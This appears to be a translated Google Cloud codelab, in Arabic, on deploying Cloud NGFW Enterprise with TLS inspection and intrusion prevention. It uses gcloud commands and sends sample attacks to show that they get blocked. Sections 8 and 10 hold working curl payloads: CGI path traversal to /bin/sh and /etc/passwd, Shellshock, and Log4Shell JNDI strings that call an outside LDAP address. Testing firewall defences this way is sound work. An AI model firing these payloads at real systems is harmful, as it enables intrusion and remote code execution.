درس تطبيقي حول ترميز Cloud NGFW Enterprise [مع فحص بروتوكول أمان طبقة النقل (TLS)]

1. مقدمة

جدار الحماية من الجيل التالي في السحابة الإلكترونية (NGFW)

‫Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل مع إمكانات حماية متقدّمة وتقسيم دقيق وغطّة شاملة لحماية أعباء العمل في Google Cloud من الهجمات الداخلية والخارجية.

توفّر حلول Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزَّع: توفّر حلول "جدران الحماية من الجيل التالي" (NGFW) في السحابة الإلكترونية ميزة فرض قواعد الأمان المستندة إلى المضيف بالكامل والمستندة إلى الحالة على كلّ عمل على حدة لتفعيل بنية الأمان المستندة إلى مبدأ "عدم الثقة".
  • عملية الضبط والنشر المبسّطة: تُنفِّذ حلول Cloud NGFW سياسات جدار الحماية للشبكة والجداول الهرميّة التي يمكن إرفاقها بعقدة تسلسل هرمي للموارد. توفّر هذه السياسات تجربة متسقة لجدار الحماية على مستوى التسلسل الهرمي لموارد Google Cloud.
  • التحكّم الدقيق والتقسيم الدقيق: يوفر الجمع بين سياسات جدار الحماية والعلامات الخاضعة لإدارة الهوية وإمكانية الوصول (IAM) إمكانية التحكّم الدقيق في كلّ من حركة البيانات من الشمال إلى الجنوب ومن الشرق إلى الغرب، وصولاً إلى جهاز افتراضي واحد، على مستوى شبكات ومؤسسات السحابة الإلكترونية الخاصة الافتراضية (VPC).

تتوفّر حلول Cloud NGFW في الفئات التالية:

  • أساسيات جدار الحماية من الجيل التالي في السحابة الإلكترونية
  • معيار جدار الحماية لخدمة Cloud Next Generation
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

تضيف Cloud NGFW Enterprise خدمة منع التسلّل (IPS)، وهي ميزة من الطبقة 7، إلى بنية جدار حماية Google Cloud الموزّعة. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص حركة البيانات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS).

يمكنك الآن نشر عمليات فحص موثوق بها لجدار الحماية من الطبقة 7 من الجيل التالي (NGFW) باستخدام عناصر تحكم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.

لتفعيل التحكم في جدار الحماية من الطبقة 7 ونشره باستخدام نظام منع التسلل IPS، يجب إجراء المهام التالية:

  • أنشئ مجموعة من نقاط نهاية جدار الحماية للمنطقة التي تديرها Google Cloud.
  • يمكنك اختياريًا إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS).
  • يمكنك إنشاء ملف إعدادات الثقة اختياريًا.
  • اربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج فيها إلى خدمة Cloud NGFW Enterprise.
  • يمكنك إجراء تغييرات بسيطة على سياسات جدار الحماية الحالية وقواعد جدار الحماية لتحديد الملفات الشخصية لمنع التهديدات في مسارات حركة البيانات المختلفة.

سياسات جدار حماية الشبكة

تعمل سياسة جدار حماية الشبكة بمثابة حاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار حماية الشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن لكل شبكة VPC أن تكون لها سياسة جدار حماية واحدة مرتبطة بها. تتوافق سياسات جدار الحماية للشبكة مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول (أو العلامات فقط) في قواعد جدار الحماية، والتي تحل محل علامات الشبكة الحالية ويمكن استخدامها لتوفير الهوية لأعباء العمل.

إنّ مشاركة سياسة جدار حماية الشبكة على جميع الشبكات والدمج مع العلامات الخاضعة لإدارة الهوية وإمكانية الوصول (IAM) يسهّلان بشكل كبير عملية ضبط جدران الحماية وإدارتها.

مع طرح سياسة جدار حماية الشبكة، تتألف سياسات جدار حماية Google Cloud الآن من المكوّنات التالية:

  1. سياسة جدار الحماية الهرمي
  2. قواعد جدار الحماية في VPC
  3. سياسة جدار حماية الشبكة ( عالمي وإقليمي)

تتوفّر سياسات جدار الحماية التسلسلية في عقد المؤسسة والمجلد ضمن التسلسل الهرمي للموارد، في حين يتم تطبيق قواعد جدار حماية VPC وسياسات جدار حماية الشبكة على مستوى VPC. هناك فرق كبير بين قواعد جدار حماية VPC وسياسات جدار حماية الشبكة، وهو أنّه لا يمكن تطبيق قواعد جدار حماية VPC إلا على شبكة VPC واحدة، في حين يمكن إرفاق سياسات جدار حماية الشبكة بشبكة VPC واحدة أو مجموعة من شبكات VPC، بالإضافة إلى مزايا أخرى مثل التعديلات المجمّعة.

أخيرًا، لدينا أيضًا قواعد جدار الحماية المضمّنة التي تأتي مع كل شبكة VPC:

  • قاعدة خروج إجراءها السماح، ووجهة 0.0.0.0/0
  • قاعدة دخول يكون إجراءها "رفض" والمصدر هو ‎0.0.0.0/0

يتم عرض تسلسل التنفيذ تلقائيًا في المخطّط البياني التالي:

21b3bcabc469ffe.png

يُرجى العلم أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار حماية الشبكة الشاملة. يمكن للعملاء تحديد أمر التنفيذ في أي وقت باستخدام أمر gcloud.

العلامات

إنّ العلامات المدمجة في قواعد سياسة جدار الحماية للشبكة الجديدة هي موارد أزواج مفاتيح/قيم تم تحديدها على مستوى المؤسسة أو مستوى المشروع في التسلسل الهرمي لموارد Google Cloud. تحتوي هذه العلامة على عناصر تحكّم في الوصول إلى "إدارة الهوية وإمكانية الوصول" تحدّد مَن يمكنه تنفيذ أيّ إجراء على العلامة. على سبيل المثال، تتيح أذونات إدارة الهوية وإمكانية الوصول (IAM) لأحد تحديد المبادئ الرئيسية التي يمكنها تعيين قيم للعلامات وأي المبادئ الرئيسية التي يمكنها إرفاق العلامات بالموارد. إذا كانت إحدى قواعد جدار حماية الشبكة تشير إلى علامة، يجب تطبيقها على مورد لتنفيذها.

تلتزم التصنيفات بنموذج الموارد المكتسَبة في Google Cloud، ما يعني أنّه يتم نقل التصنيفات وقِيمها على مستوى التسلسل الهرمي من التصنيفات الرئيسية. ونتيجةً لذلك، يمكن إنشاء العلامات في مكان واحد ثم استخدامها من قِبل المجلدات والمشاريع الأخرى في التدرّج الهرمي للموارد. يُرجى الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات والقيود المفروضة على الوصول.

يجب عدم الخلط بين العلامات وعلامات الشبكة. وتلك الأخيرة هي سلاسل يمكن إضافتها إلى مثيلات Compute Engine، وهي مرتبطة بالمثيل وتزول عند إيقاف المثيل. قد تتضمّن قواعد جدار حماية VPC علامات الشبكة، ولكن بما أنّها لا تُعتبر موارد سحابة، فهي لا تخضع لإدارة الوصول في "إدارة الهوية وإمكانية الوصول".

يُرجى العلم أنّه يتم استخدام العلامات والعلامات الخاضعة لإدارة الهوية وإمكانية الوصول بالتبادل في هذا المستند.

التطبيق الذي ستصممه

يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وقدرة على إنشاء شبكة VPC بالإضافة إلى إدارة عدد من موارد الشبكة والأمان. سيوضّح هذا الاختبار كيف يمكن لـ Cloud NGFW Enterprise توفير وظيفة IPS من خلال:

  • فحص تدفقات الإنترنت المتجهة شمالًا باستخدام فحص طبقة النقل الآمنة
  • فحص التدفقات داخل شبكة VPC [من الشرق إلى الغرب] باستخدام فحص بروتوكول أمان طبقة النقل

سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات مطابقة جدار الحماية في السحابة الإلكترونية، بما في ذلك مجموعة العناصر الخمسة (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول والمنفذ المصدر والمنفذ الوجهة) والعلامات.

3d0f288d3b92a295.png

ستكون حالة نهاية قاعدة سياسة جدار الحماية للشبكة مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

100

حركة بيانات واردة

Server_Tag

فحوصات صحية

هل مِن

السماح

الوظائف الأساسية

200

حركة بيانات واردة

Client_Tag, Server_Tag

شراء داخل التطبيق

هل مِن

السماح

الوظائف الأساسية

800

حركة بيانات واردة

Server_Tag

10.0.0.0/24

10.0.0.0/24

فحص L7

Enterprise

850

حركة بيانات صادرة

Client_Tag

هل مِن

10.0.0.0/24

السماح

الوظائف الأساسية

900

حركة بيانات صادرة

Client_Tag

هل مِن

هل مِن

فحص L7

Enterprise

ما ستتعرّف عليه

  • كيفية إنشاء سياسة جدار حماية للشبكة
  • كيفية إنشاء العلامات واستخدامها مع سياسة جدار حماية الشبكة
  • كيفية ضبط واستخدام Cloud NGFW Enterprise من خلال فحص بروتوكول أمان طبقة النقل (TLS)

المتطلبات

  • مشروع Google Cloud
  • معرفة بنشر النُسخ وضبط مكوّنات الشبكة
  • المعرفة المتعلّقة بإعداد جدار الحماية في VPC

2. قبل البدء

إنشاء متغيّرات أو تعديلها

يستخدم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ إعدادات gcloud في Cloud Shell.

في Cloud Shell، شغِّل الأوامر أدناه مع استبدال المعلومات ضمن الأقواس حسب الحاجة:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3- تفعيل واجهات برمجة التطبيقات

فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك إجراء ذلك:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. إنشاء نقطة نهاية Cloud NGFW Enterprise

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق 20 دقيقة تقريبًا، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بشكل موازٍ أثناء إنشاء نقطة النهاية.

أنشئ ملف التأمين ومجموعة ملفات التأمين:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

المخرجات المتوقعة:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأكَّد من أنّه تم إنشاء الموارد بنجاح:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الإخراج قد يختلف حسب العميل المستخدَم:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

أنشئ نقطة نهاية Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

شغِّل الأمر أدناه للتأكّد من أنّه يتم إنشاء نقطة النهاية (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الإخراج قد يختلف حسب العميل المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

الناتج المتوقّع:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

تستغرق عملية صناعة المحتوى 20 دقيقة تقريبًا. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بشكل موازٍ.

5- الإعداد الأساسي

شبكة VPC والشبكة الفرعية

شبكة VPC والشبكة الفرعية

أنشئ شبكة VPC والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

أنشئ بوابتَي Cloud Router وCloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

إطارات مبعثَرة

أنشئ نُسخ عميل وخادم ويب:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

علامات على مستوى المشروع

امنح المستخدم إذن tagAdmin إذا لزم الأمر:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

أنشئ مفتاح وقيم العلامة على مستوى المشروع:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

ربط العلامات بالمثيلات:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

السياسة العالمية لجدار الحماية للشبكة

أنشئ سياسة جدار حماية عالمية للشبكة:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

أنشئ قواعد Cloud Firewall Essential المطلوبة للسماح بالزيارات من نطاقات التحقّق من الصحة والخادم الوكيل المدرك للهوية:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

أنشئ قواعد جدار الحماية في السحابة الإلكترونية المطلوبة للسماح بدخول الزيارات من الشرق إلى الغرب / الزيارات داخل الشبكة الفرعية من النطاقات المحدّدة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise مع فحص بروتوكول أمان طبقة النقل (TLS)):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

اربط سياسة جدار الحماية على السحابة الإلكترونية بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6- ربط نقاط النهاية في Cloud Firewall

حدِّد متغيّرات البيئة في حال لم يسبق لك ذلك و/أو إذا كنت تفضّل استخدام النص البرمجي.

تأكَّد من اكتمال إنشاء نقطة نهاية جدار الحماية على السحابة الإلكترونية بنجاح. لا تواصل الإجراء إلا بعد ظهور الحالة نشِط (خلال عملية الإنشاء، تكون الحالة المتوقّعة هي جارٍ الإنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الإخراج قد يختلف حسب العميل المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

الناتج المتوقّع:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

اربط نقطة نهاية Cloud Firewall بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

تستغرق عملية الربط 10 دقائق تقريبًا. لا تنتقل إلى قسم بروتوكول أمان طبقة النقل إلا بعد ظهور الحالة نشِط (خلال عملية الإنشاء، تكون الحالة المتوقّعة هي جارٍ الإنشاء):

gcloud network-security firewall-endpoint-associations list

الناتج المتوقع عند الانتهاء:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

الناتج المتوقّع:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7- ضبط موارد بروتوكول أمان طبقة النقل (TLS)

إنشاء مجموعة مصادر خاصة بهيئة إصدار الشهادات (CA) سيتم استخدام هذا المورد لتضمين شهادة CA الجذر التي ننشئها لـ NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

أنشئ مرجع التصديق الجذر. هذه هي شهادة هيئة إصدار الشهادات التي سيتم استخدامها لتوقيع شهادات إضافية للطلبات من خلال NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

إذا طُلب منك في الرسالة أدناه، أجب بـ y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

أنشئ حساب خدمة. سيتم استخدام حساب الخدمة هذا لطلب شهادات NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

اضبط أذونات إدارة الهوية وإمكانية الوصول لحساب الخدمة:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

أنشئ ملف YAML لسياسة طبقة النقل الآمنة (TLS). سيحتوي هذا الملف على معلومات عن المراجع المحدّدة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

استورِد سياسة فحص طبقة النقل الآمنة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

عدِّل عملية ربط نقطة النهاية لتفعيل بروتوكول أمان طبقة النقل (TLS):

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

احصل على شهادة هيئة إصدار الشهادات وأضِفها إلى متجر هيئة إصدار الشهادات للعميل:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

نقل شهادة المرجع المصدق (CA) إلى العميل:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

يمكنك استخدام بروتوكول SSH للاتصال بالجهاز الظاهري، ونقل شهادة مرجع التصديق إلى ‎ /usr/local/share/ca-certificates وتعديل مخزن مرجع التصديق:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

اخرج من CloudShell.

عملية توقيع شهادة الخادم:

على CloudShell، ثبِّت مكتبة التشفير Pyca باستخدام الأمر pip:

pip install --user "cryptography>=2.2.0"

للسماح لحزمة تطوير البرامج (SDK) من Google Cloud باستخدام مكتبة التشفير Pyca، عليك تفعيل حِزم الموقع الإلكتروني.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

إنشاء شهادة الخادم:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

سيؤدي هذا إلى إنشاء ملف cert.pem وkey.pem في cloudshell. بعد ذلك، عليك نقل الشهادة والمفتاح إلى الخادم.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

يمكنك استخدام بروتوكول SSH للوصول إلى الخادم وتعديل تفاصيل شهادة Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

نقل الشهادة والمفتاح إلى مجلد محدّد:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

تعديل إعدادات ssl لاستخدام شهادة موقَّعة:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

إعادة تشغيل Apache:

sudo systemctl restart apache2

التحقّق من حالة Apache:

sudo systemctl status apache2

يجب أن يكون نشطًا (قيد التشغيل).

اخرج من الجهاز الظاهري واستمر في CloudShell.

8. التحقّق من إمكانية الاتصال بالجهة الشمالية والشرق والغرب

شغّل الأوامر أدناه في Cloud Shell ولاحظ عناوين IP المستهدفة المراد استخدامها:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

افتح علامة تبويب جديدة وابدأ اتصال بروتوكول النقل الآمن بالجهاز الافتراضي للعميل من خلال الشراء داخل التطبيق (ستحتاج إلى تحديد المتغيرات في علامة التبويب الجديدة):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

شغِّل الأوامر أدناه وسجِّل عناوين IP المستهدفة التي سيتم استخدامها. أنشئ المتغيّرات باستبدال القيم داخل الأقواس بعناوين IP المُشار إليها من الخطوة السابقة وتأكَّد من إمكانية الوصول إليها:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

اضبط عنوان IP الخاص وتأكَّد من إمكانية الوصول إليه:

curl https://$target_privateip --max-time 2

النتائج المتوقّعة لطلب curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

أرسِل نماذج هجمات إلى عنوان IP. يجب أن يستجيب خادم الويب لجميع الطلبات، ما يؤكد عدم توفّر فحص أو منع على مستوى الطبقة 7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

نموذج النتائج المتوقّعة (عنوان IP الخاص):

400
404
400
200
200

وبالمثل، يمكنك إرسال الطلبات إلى وجهة على الإنترنت:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نموذج النتائج المتوقّعة (وجهة الإنترنت):

400
404
400
403
403

اخرج من وحدة تحكّم الجهاز الافتراضي (VM) وأعِد الدخول إلى Cloud Shell.

9. إنشاء قواعد جدار الحماية وتعديلها لفحص بروتوكول أمان طبقة النقل (TLS)

في السابق، أعددنا قاعدة جدار حماية للسماح بدخول الزيارات إلى خادمنا من الشبكة الفرعية الداخلية. سنعدّل الآن قواعد الدخول الحالية ونضبط الإجراء على apply_security_profile_group. سيؤدي ذلك إلى تفعيل فحص L7 للاتصالات بين الشرق والغرب باستخدام بروتوكول TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

أنشئ قاعدة جديدة لفحص L7 في الاتجاه الشمالي باستخدام بروتوكول أمان طبقة النقل (TLS).

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

أنشئ قاعدة جديدة للسماح بالخروج من الشرق والغرب لمنع الفحص المزدوج.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. التحقّق من فحص بروتوكول أمان طبقة النقل (TLS) في الاتجاه الشمالي

يمكنك التبديل مرة أخرى إلى علامة تبويب الجهاز الافتراضي للعميل أو الاتصال مرة أخرى:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

إرسال نماذج الهجمات إلى وجهة على الإنترنت:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

لا يتم تلقّي أي ردود وفقًا للنتائج المتوقّعة أدناه، مع تأكيد أنّه يتم حاليًا حظر نماذج الهجمات:

